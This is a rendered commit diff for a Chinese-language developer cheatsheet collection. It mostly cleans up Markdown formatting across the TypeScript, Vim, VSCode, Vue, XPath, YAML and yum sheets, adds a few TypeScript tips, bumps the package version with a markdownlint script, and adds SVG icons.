### Inline Table
### 内联表
<!--rehype:wrap-class=col-span-2-->
```toml
```toml
name = { first = "Tom", last = "Preston-Werner" }
point = { x = 1, y = 2 }
animal = { type.name = "pug" }
@ -263,6 +263,5 @@ animal = { type.name = "pug" }
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/toml/) _(learnxinyminutes.com)_
- [Better TOML VSCode 插件](https://marketplace.visualstudio.com/items?itemName=bungcip.better-toml) _(visualstudio.com)_
- [INI 格式配置文件备忘清单](./ini.md) _(jaywcjlove.github.io)_
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_
- [YAML 格式配置文件备忘清单](./yaml.md) _(jaywcjlove.github.io)_

View File

@ -10,8 +10,8 @@ TypeScript 备忘清单
TypeScript 是具有类型语法的 JavaScript。Interface 是为了匹配它们的运行时行为而构建的。
- [JavaScript 备忘清单](./javascript.md)
- [TypeScript 官网](https://www.typescriptlang.org/)
- [JavaScript 备忘清单](./javascript.md) _(jaywcjlove.github.io)_
- [TypeScript 官网](https://www.typescriptlang.org/) _(typescriptlang.org)_
### 内置类型基元
@ -240,7 +240,6 @@ type Data = typeof data
通过 typeof 运算符重用来自现有 JavaScript 运行时值的类型。
### 从函数返回类型
```ts
@ -1077,11 +1076,9 @@ console.log(fiveToHex());
从 Type 中移除 this 参数。 如果 Type 没有显式声明此参数,则结果只是 Type。 否则,从 Type 创建一个不带此参数的新函数类型。 泛型被删除,只有最后一个重载签名被传播到新的函数类型中。
JSX
----
### JSX 介绍
JSX 规范是对 ECMAScript 的类似 XML 的语法扩展。
@ -1233,7 +1230,6 @@ function NotAValidFactoryFunction() {
默认情况下,`JSX.ElementClass` 是 {},但可以对其进行扩展,以将 `JSX` 的使用限制为仅限于符合适当接口的类型。
### 类组件
<!--rehype:wrap-class=col-span-2-->
@ -1267,4 +1263,53 @@ class Select<T> extends React.Component<SelectProps<T>, any> {}
// 使用
const Form = () => <Select<string> items={['a', 'b']} />;
```
```
各种各样的技巧
---
### keyof 取 interface 的键
<!--rehype:wrap-class=row-span-2-->
```ts
interface Point {
x: number;
y: number;
}
// type keys = "x" | "y"
type keys = keyof Point;
```
### 索引签名
```ts
interface NumberOrString {
[index: string]: string | number;
length: number;
name: string;
}
```
### 从数组中提取类型
```ts
type Point = { x: number; y: number; }
type Data = Point[];
// Data 是个数组,提取里面的元素类型
type PointDetail = Data[number];
// type PointDetail = { x: number; y: number; }
```
### 只读元组类型
```ts
const point = [3, 4] as const
// type 'readonly [3, 4]'
```
另见
----
- [JavaScript 备忘清单](./javascript.md)
- [TypeScript 官网](https://www.typescriptlang.org/) _(typescriptlang.org)_

View File

@ -46,7 +46,7 @@ G gg H M L k j ▶ print("to")
┆ ╰┈┈┈┈┈▷
┆ - SCREEN 1 END
╰┈┈┈┈┈┈┈┈┈┈┈┈┈┈▷ print("SCREEN 2")
```
```
### 动作
<!--rehype:wrap-class=row-span-2-->
@ -163,7 +163,7 @@ G gg H M L k j ▶ print("to")
快捷方式 | 说明
:- | -
| `d` _\|_ `x` | 删除选择 _(剪切)_
| `s` | 替换选择
| `s` | 替换选择
| `y` | Yank 选择 _(复制)_
<!--rehype:className=shortcuts-->
@ -210,7 +210,7 @@ Vim 运算符
快捷方式 | 说明
:- | -
`d` | <yel>w</yel>
`d` | <yel>w</yel>
运算符 | 动作
<!--rehype:className=shortcuts-->
@ -276,7 +276,6 @@ Vim 文本对象
### 用法
<!--rehype:style=background:#d7a100;-->
快捷方式 | 说明
:- | -
`v` | &nbsp; &nbsp; &nbsp; &nbsp; <pur>i</pur> _/_ <pur>a</pur> | <yel>p</yel>
@ -409,7 +408,7 @@ Vim 搜索和替换
`?foo` | 向后搜索
`/\v\d+` | 使用 [regex](./regex.md) 搜索
`n` | 下一个匹配的搜索模式
`N` | 上一场比赛
`N` | 上一个匹配的搜索
`*` | 向前搜索当前单词
`#` | 向后搜索当前单词
@ -435,6 +434,7 @@ Vim 搜索和替换
```vim
:%s/{pattern}/{str}/[flags]
```
---
:- | -
@ -460,7 +460,7 @@ Vim 搜索和替换
`,3` | 接下来的 `3`
`-3,` | 转发 `3`
### 全局命令
### 全局命令
<!--rehype:wrap-class=row-span-2-->
```vim
@ -516,7 +516,6 @@ Vim 搜索和替换
### 例子
<!--rehype:wrap-class=col-span-2-->
```shell
:s/a\|b/xxx\0xxx/g # 将 "a b" 修改为 "xxxaxxx xxxbxxx"
:s/test/\U& file/ # 将 "test" 修改为 "TEST FILE"
@ -855,4 +854,4 @@ dfx # 删除文本直到字符“x”(包括字符“x”): delete forward x
- [Devhints](https://devhints.io/vim) _(devhints.io)_
- [Vim cheatsheet](https://vim.rtorr.com/lang/zh_cn/) _(vim.rotrr.com)_
- [Vim documentation](http://vimdoc.sourceforge.net/htmldoc/) _(vimdoc.sourceforge.net)_
- [Interactive Vim tutorial](http://openvim.com/) _(openvim.com)_
- [Interactive Vim tutorial](http://openvim.com/) _(openvim.com)_

View File

@ -61,11 +61,10 @@ VSCode 备忘清单
| `F8` | 转到下一个错误 |
| `Shift` `F8` | 转到上一个错误 |
| `Ctrl` `Shift` `Tab` | 浏览编辑组历史 |
| `Alt` ` ←` _/_ `→` | 后退/前进 |
| `Alt` `←` _/_ `→` | 后退/前进 |
| `Ctrl` `M` | 切换 Tab 移动焦点 |
<!--rehype:className=shortcuts-->
### 搜索和替换
| - | - |
@ -115,7 +114,6 @@ VSCode 备忘清单
| `Ctrl` `K` `M` | 更改文件语言 |
<!--rehype:className=shortcuts-->
### 编辑管理
| - | - |
@ -123,7 +121,7 @@ VSCode 备忘清单
| `Ctrl` `F4` `Ctrl` `W` | 关闭编辑器 |
| `Ctrl` `K` `F` | 关闭文件夹 |
| `Ctrl` `\` | 拆分编辑器 |
| `Ctrl` ` 1` _/_ `2` _/_ `3` | 专注于第一、第二或第三编辑组 |
| `Ctrl` `1` _/_ `2` _/_ `3` | 专注于第一、第二或第三编辑组 |
| `Ctrl` `K` `Ctrl` `←` _/_ `→` | 专注于上一个/下一个编辑组 |
| `Ctrl` `Shift` `PgUp` _/_ `PgDn` | 向左/向右移动编辑器 |
| `Ctrl` `K` `←` _/_ `→` | 移动活动编辑器组 |
@ -170,7 +168,6 @@ VSCode 备忘清单
| `Ctrl` `K` `Z` | Zen 模式Esc Esc 退出) |
<!--rehype:className=shortcuts-->
### 调试
| - | - |

View File

@ -3,7 +3,6 @@ Vue 3 备忘清单
渐进式 JavaScript 框架 [Vue 3](https://cn.vuejs.org/) 备忘清单的快速参考列表,包含常用 API 和示例。
入门
---
@ -129,7 +128,7 @@ app.mount('#app')
<span>Message: {{ msg }}</span>
```
使用的是 `Mustache` 语法 (即双大括号),每次 `msg` 属性更改时它也会同步更新
使用的是 `Mustache` 语法 (即双大括号),每次 `msg` 属性更改时它也会同步更新
### 原始 HTML
<!--rehype:wrap-class=col-span-2-->
@ -209,7 +208,6 @@ data() {
</span>
```
### 指令 Directives
```html
@ -641,4 +639,4 @@ API 参考
---
- [Vue 3.x 官方文档](https://cn.vuejs.org/)
- [Vue Router 4.x 官方文档](https://router.vuejs.org/zh/)
- [Vue Router 4.x 官方文档](https://router.vuejs.org/zh/)

View File

@ -17,7 +17,7 @@ Vue 是一套用于构建用户界面的渐进式框架
注意Vue 2.x 版本对应 Vue Router 3.x 路由版本
#### 快速创建 **Vue** 项目 ([Vue CLI](https://cli.vuejs.org/zh/guide/creating-a-project.html))
#### 快速创建 **Vue** 项目 ([Vue CLI](https://cli.vuejs.org/zh/guide/creating-a-project.html))
```bash
npx @vue/cli create hello-world
@ -277,7 +277,7 @@ var app6 = new Vue({
<a v-on:[eventName]="doSomething">...</a>
```
`eventName` 的值为 `focus` 时,`v-on:[eventName]` 将等价于 `v-on:focus`
`eventName` 的值为 `focus` 时,`v-on:[eventName]` 将等价于 `v-on:focus`
### 指令修饰符
@ -550,7 +550,6 @@ data: {
</ul>
```
```js
var example1 = new Vue({
el: '#example-1',
@ -995,7 +994,7 @@ computed: {
<span>Checked names: {{ checkedNames }}</span>
```
如下 data
如下 data
```js
new Vue({
@ -1006,7 +1005,7 @@ new Vue({
})
```
### 单选按钮
### 单选按钮
```html
<div id="example-4">
@ -1195,6 +1194,7 @@ vm.selected.number // => 123
<!--rehype:wrap-class=row-span-3-->
- 将 `HTML`/`CSS`/`JS` 三部分存放到一个 `Hello.vue` 文件中
```html
<template>
<p>{{ title }} World!</p>
@ -1222,7 +1222,9 @@ vm.selected.number // => 123
}
</style>
```
- 使用 `Hello.vue` 组件
```html
<script>
import Vue from "vue";
@ -1681,7 +1683,7 @@ Vue.component('alert-box', {
`leave-active-class` | [#](https://v2.cn.vuejs.org/v2/guide/transitions.html#自定义过渡的类名)
`leave-to-class` _(2.1.8+)_ | [#](https://v2.cn.vuejs.org/v2/guide/transitions.html#自定义过渡的类名)
----
---
```html
<transition
@ -2026,7 +2028,6 @@ Vue 2 API 参考
`v-on:click.passive` _(2.3.0)_ [#](https://v2.cn.vuejs.org/v2/api/#v-on) | 以 { passive: true } 模式添加侦听器
<!--rehype:className=style-list-->
### v-on (鼠标)修饰符
:- | :-
@ -2052,7 +2053,7 @@ Vue 2 API 参考
:- | :-
`v-on:keyup.enter` | [#](https://v2.cn.vuejs.org/v2/guide/events.html#按键修饰符)
`v-on:keyup.tab` | [#](https://v2.cn.vuejs.org/v2/guide/events.html#按键修饰符)
`v-on:keyup.delete ` | 捕获“删除”和“退格”键 [#](https://v2.cn.vuejs.org/v2/guide/events.html#按键修饰符)
`v-on:keyup.delete` | 捕获“删除”和“退格”键 [#](https://v2.cn.vuejs.org/v2/guide/events.html#按键修饰符)
`v-on:keyup.esc` | [#](https://v2.cn.vuejs.org/v2/guide/events.html#按键修饰符)
`v-on:keyup.space` | [#](https://v2.cn.vuejs.org/v2/guide/events.html#按键修饰符)
`v-on:keyup.up` | [#](https://v2.cn.vuejs.org/v2/guide/events.html#按键修饰符)

View File

@ -9,7 +9,7 @@ Xcode
### 搜索
快捷键 | 描述
:---- | ----
:---- | ----
`Cmd + F` | 在文件中查找
`Cmd + Option + F` | 在文件中查找和替换
`Cmd + Shift + F` | 在项目中查找
@ -19,18 +19,17 @@ Xcode
### 选项卡
快捷键 | 描述
:---- | ----
:---- | ----
`Cmd + T` | 新选项卡
`Cmd + }` | 上一个选项卡
`Cmd + {` | 下一个选项卡
<!--rehype:className=shortcuts-->
### 导航
<!--rehype:wrap-class=row-span-2-->
快捷键 | 描述
:---- | ----
:---- | ----
`Cmd + Shift + O` | 快速打开
`Cmd + J` | 专注于编辑
`Cmd + Ctrl + UP` | 下一个对手
@ -46,7 +45,7 @@ Xcode
### 调试
快捷键 | 描述
:---- | ----
:---- | ----
`Cmd + Shift + Y` | 切换调试区域
`Cmd + '` | 下一期
`Cmd + "` | 上一期
@ -55,11 +54,10 @@ Xcode
`Cmd + K` | 清除控制台
<!--rehype:className=shortcuts-->
### 导航器(左侧面板)
快捷键 | 描述
:---- | ----
:---- | ----
`Cmd + 0` | 显示隐藏
`Cmd + 1-8` | 切换标签
`Option + click` | 打开助理编辑器
@ -67,11 +65,10 @@ Xcode
`double click` | 在新窗口中打开
<!--rehype:className=shortcuts-->
### 编辑
快捷键 | 描述
:---- | ----
:---- | ----
`Cmd + Option + ENTER` | 显示助理编辑器
`Cmd + ENTER` | 隐藏助理编辑器
`Ctrl + SPACE or ESC` | 切换完成
@ -83,21 +80,18 @@ Xcode
`Cmd + Option + ]` | 下移线
<!--rehype:className=shortcuts-->
### 实用程序(右面板)
快捷键 | 描述
:---- | ----
:---- | ----
`Cmd + Option + 0` | 显示隐藏
`Cmd + Option + 1-9` | 转到选项卡
<!--rehype:className=shortcuts-->
### 调试和运行
快捷键 | 描述
:---- | ----
:---- | ----
`Cmd + B` | 建造
`Cmd + R` | 运行
`Cmd + .` | 停止

View File

@ -118,10 +118,9 @@ $x('//a[text()="XPath"]')[0].click()
### 运算符
<!--rehype:wrap-class=col-span-2-->
运算符 | 说明 | 示例
运算符 | 说明 | 示例
:- | - | -
`\|` | 计算两个节点集 | `//book \| //cd`
`\|` | 计算两个节点集 | `//book \| //cd`
`+` | 添加 | `6 + 4`
`-` | 减法 | `6 - 4`
`*` | 乘法 | `6 * 4`
@ -137,8 +136,6 @@ $x('//a[text()="XPath"]')[0].click()
`mod` | 模数(除法余数) | `5` mod `2`
<!--rehype:className=show-header-->
XPath 表达式
-----------
@ -149,7 +146,6 @@ XPath 表达式
| `//` | `ul` | `/` | `a[@id='link']` |
| Axis | Step | Axis | Step |
### 前缀
| 前缀 | 例子 | 意思是 |
@ -202,6 +198,7 @@ XPath Predicates(谓词)
//ul[count(li) > 2]
//ul[count(li[@class='hide']) > 0]
```
```bash
# 返回具有 `<li>` 子级的 `<ul>`
//ul[li]
@ -251,6 +248,7 @@ text() # //button[text()="Submit"]
lang(str)
namespace-uri()
```
```bash
count() # //table[count(tr)=1]
position() # //ol/li[position()=2]
@ -357,12 +355,12 @@ XPath Axes
|--------------------|--------|-------|
`ancestor` | | 选择当前节点的所有祖先(父母、祖父母等)
`ancestor-or-self` | | 选择当前节点所有祖先(父、祖父等)和当前节点本身
`attribute` | `@` | `@href``attribute::href` 的缩写
`child` | | `div``child::div` 的缩写
`descendant` | | 选择当前节点的所有后代(子、孙等)
`attribute` | `@` | `@href``attribute::href` 的缩写
`child` | | `div``child::div` 的缩写
`descendant` | | 选择当前节点的所有后代(子、孙等)
`descendant-or-self` | `//` | `//``/descendant-or-self::node()/`的缩写 选择当前节点和当前节点本身的所有后代(子、孙等)
`namespace` | | 选择当前节点的所有命名空间节点
`self` | `.` | `.``self::node()` 的缩写,选择当前节点
`namespace` | | 选择当前节点的所有命名空间节点
`self` | `.` | `.``self::node()` 的缩写,选择当前节点
`parent` | `..` | `..``parent::node()` 的缩写,选择当前节点的父节点
`following` | | 选择文档中当前节点结束标记之后的所有内容
`following-sibling` | | 选择当前节点之后的所有兄弟节点
@ -429,5 +427,5 @@ count(//*) # 计算所有元素
另见
--------
* [Devhints](https://devhints.io/xpath) _(devhints.io)_
* [Xpath test bed](http://www.whitebeam.org/library/guide/TechNotes/xpathtestbed.rhtm) _(whitebeam.org)_
- [Devhints](https://devhints.io/xpath) _(devhints.io)_
- [Xpath test bed](http://www.whitebeam.org/library/guide/TechNotes/xpathtestbed.rhtm) _(whitebeam.org)_

View File

@ -18,7 +18,6 @@ YAML 备忘清单
- Ansible playbook 是 YAML 文件
<!--rehype:className=style-round-->
### 标量类型
<!--rehype:wrap-class=row-span-2-->
@ -350,7 +349,6 @@ set2: !!set {'one', "two"}
集合表示为一个映射,其中每个键都与一个空值相关联
### 有序映射
```yaml
@ -450,7 +448,6 @@ YAML 参考
| `#` | 一次性评论指示器 |
| <code>\`@</code> | 两者都保留供将来使用 |
### 核心类型(默认自动标签)
<!--rehype:wrap-class=row-span-2-->
@ -474,11 +471,12 @@ YAML 参考
- `\\` (\\)
- `\"` (")
- `\ ` ( )
- `\` ( )
- `\<TAB>` (TAB)
<!--rehype:className=cols-3 style-none-->
#### C
- `\0` (NUL)
- `\a` (BEL)
- `\b` (BS)
@ -525,4 +523,4 @@ YAML 参考
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/yaml/) _(learnxinyminutes.com)_
- [YAML lint online](http://www.yamllint.com/) _(yamllint.com)_
- [INI 格式配置文件备忘清单](./ini.md) _(jaywcjlove.github.io)_
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_
- [TOML 格式配置文件备忘清单](./toml.md) _(jaywcjlove.github.io)_

View File

@ -190,4 +190,4 @@ $ yarn cache clean
- [npm 备忘清单](./npm.md)
- [Yarn 官方文档网站](https://yarnpkg.com/)
- [Yarn 2 中文文档网站](https://www.yarnpkg.cn/)
- [Yarn 1 中文文档网站](https://yarn.bootcss.com/) _(bootcss.com)_
- [Yarn 1 中文文档网站](https://yarn.bootcss.com/) _(bootcss.com)_

View File

@ -81,7 +81,7 @@ $ yum provides “*bin/top”
$ yum provides “*/README.top”
```
#### search
#### search
```bash
# 查找名称或描述中带有 samba 的软件包
@ -394,7 +394,7 @@ yum list available --disablerepo=epel
yum install --downloadonly vsftpd
```
---
----
:- | -
:- | -
@ -420,4 +420,4 @@ yum install --downloadonly vsftpd
- [用 yum 管理软件包](http://prefetch.net/articles/yum.html) _(prefetch.net)_
- [Fedora 中的 Yum 文档](https://docs.fedoraproject.org/en-US/Fedora/15/html/Deployment_Guide/ch-yum.html) _(fedoraproject.org)_
- [CentOS 中的 Yum 文档](http://wiki.centos.org/PackageManagement/Yum/) _(wiki.centos.org)_
- [Scientific Linux 中的 Yum 文档](https://www.scientificlinux.org/documentation/faq/yum.apt.repo) _(scientificlinux.org)_
- [Scientific Linux 中的 Yum 文档](https://www.scientificlinux.org/documentation/faq/yum.apt.repo) _(scientificlinux.org)_

View File

@ -1,6 +1,6 @@
{
"name": "@wcj/reference",
"version": "1.17.0",
"version": "1.20.0",
"description": "为开发人员分享快速参考备忘单(主要是方便自己)。",
"author": "jaywcjlove",
"license": "MIT",
@ -10,7 +10,8 @@
"prepare": "husky install",
"build": "node scripts/build.mjs",
"start": "node scripts/watch.mjs",
"prettier": "prettier --write '**/*.{mjs,css,json,prettierrc,lintstagedrc}'"
"prettier": "prettier --write '**/*.{mjs,css,json,prettierrc,lintstagedrc}'",
"markdownlint": "npx markdownlint-cli --fix ./docs/*.md"
},
"repository": {
"type": "git",
@ -26,12 +27,19 @@
"fs-extra": "^10.1.0",
"husky": "^8.0.1",
"lint-staged": "^13.0.3",
"markdownlint-cli": "^0.32.2",
"prettier": "^2.7.1",
"recursive-readdir-files": "^2.3.0",
"rehype-autolink-headings": "^6.1.1",
"rehype-document": "^6.1.0",
"rehype-parse": "^8.0.4",
"rehype-raw": "^6.1.1",
"rehype-rewrite": "^3.0.6",
"rehype-slug": "^5.0.1",
"remark-gemoji": "^7.0.1"
"remark-gemoji": "^7.0.1",
"unified": "^10.1.2",
"unist-util-visit": "^4.1.1",
"vfile": "^5.3.5"
},
"engines": {
"node": ">=16.0.0"

3
scripts/assets/dart.svg Normal file
View File

@ -0,0 +1,3 @@
<svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em">
<path d="M4.105 4.105S9.158 1.58 11.684.316a3.079 3.079 0 0 1 1.481-.315c.766.047 1.677.788 1.677.788L24 9.948v9.789h-4.263V24H9.789l-9-9C.303 14.5 0 13.795 0 13.105c0-.319.18-.818.316-1.105l3.789-7.895zm.679.679v11.787c.002.543.021 1.024.498 1.508L10.204 23h8.533v-4.263L4.784 4.784zm12.055-.678c-.899-.896-1.809-1.78-2.74-2.643-.302-.267-.567-.468-1.07-.462-.37.014-.87.195-.87.195L6.341 4.105l10.498.001z"/>
</svg>

After

Width:  |  Height:  |  Size: 526 B

View File

@ -0,0 +1,3 @@
<svg viewBox="0 0 15 15" fill="none" xmlns="http://www.w3.org/2000/svg" height="1em" width="1em">
<path d="m2.61 4.432 4.142-2.417-.504-.864-4.143 2.417.504.864ZM2 9.5v-4H1v4h1Zm6.248-7.485 4.143 2.417.504-.864-4.143-2.417-.504.864ZM13 5.5v4h1v-4h-1Zm-.252 4.86-4.5 2.625.504.864 4.5-2.625-.504-.864Zm-5.996 2.625-4.143-2.417-.504.864 4.143 2.417.504-.864ZM6.584 1.973l-5 7.5.832.554 5-7.5-.832-.554Zm6.832 7.5-5-7.5-.832.554 5 7.5.832-.554ZM2.5 11h10v-1h-10v1Zm5-9a.5.5 0 0 1-.5-.5H6A1.5 1.5 0 0 0 7.5 3V2Zm.5-.5a.5.5 0 0 1-.5.5v1A1.5 1.5 0 0 0 9 1.5H8ZM7.5 1a.5.5 0 0 1 .5.5h1A1.5 1.5 0 0 0 7.5 0v1Zm0-1A1.5 1.5 0 0 0 6 1.5h1a.5.5 0 0 1 .5-.5V0Zm6 5a.5.5 0 0 1-.5-.5h-1A1.5 1.5 0 0 0 13.5 6V5Zm.5-.5a.5.5 0 0 1-.5.5v1A1.5 1.5 0 0 0 15 4.5h-1Zm-.5-.5a.5.5 0 0 1 .5.5h1A1.5 1.5 0 0 0 13.5 3v1Zm0-1A1.5 1.5 0 0 0 12 4.5h1a.5.5 0 0 1 .5-.5V3Zm0 8a.5.5 0 0 1-.5-.5h-1a1.5 1.5 0 0 0 1.5 1.5v-1Zm.5-.5a.5.5 0 0 1-.5.5v1a1.5 1.5 0 0 0 1.5-1.5h-1Zm-.5-.5a.5.5 0 0 1 .5.5h1A1.5 1.5 0 0 0 13.5 9v1Zm0-1a1.5 1.5 0 0 0-1.5 1.5h1a.5.5 0 0 1 .5-.5V9Zm-6 5a.5.5 0 0 1-.5-.5H6A1.5 1.5 0 0 0 7.5 15v-1Zm.5-.5a.5.5 0 0 1-.5.5v1A1.5 1.5 0 0 0 9 13.5H8Zm-.5-.5a.5.5 0 0 1 .5.5h1A1.5 1.5 0 0 0 7.5 12v1Zm0-1A1.5 1.5 0 0 0 6 13.5h1a.5.5 0 0 1 .5-.5v-1Zm-6-1a.5.5 0 0 1-.5-.5H0A1.5 1.5 0 0 0 1.5 12v-1Zm.5-.5a.5.5 0 0 1-.5.5v1A1.5 1.5 0 0 0 3 10.5H2Zm-.5-.5a.5.5 0 0 1 .5.5h1A1.5 1.5 0 0 0 1.5 9v1Zm0-1A1.5 1.5 0 0 0 0 10.5h1a.5.5 0 0 1 .5-.5V9Zm0-4a.5.5 0 0 1-.5-.5H0A1.5 1.5 0 0 0 1.5 6V5Zm.5-.5a.5.5 0 0 1-.5.5v1A1.5 1.5 0 0 0 3 4.5H2ZM1.5 4a.5.5 0 0 1 .5.5h1A1.5 1.5 0 0 0 1.5 3v1Zm0-1A1.5 1.5 0 0 0 0 4.5h1a.5.5 0 0 1 .5-.5V3Z" fill="currentColor" />
</svg>

After

Width:  |  Height:  |  Size: 1.6 KiB

3
scripts/assets/latex.svg Normal file

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 5.6 KiB

Some files were not shown because too many files have changed in this diff Show More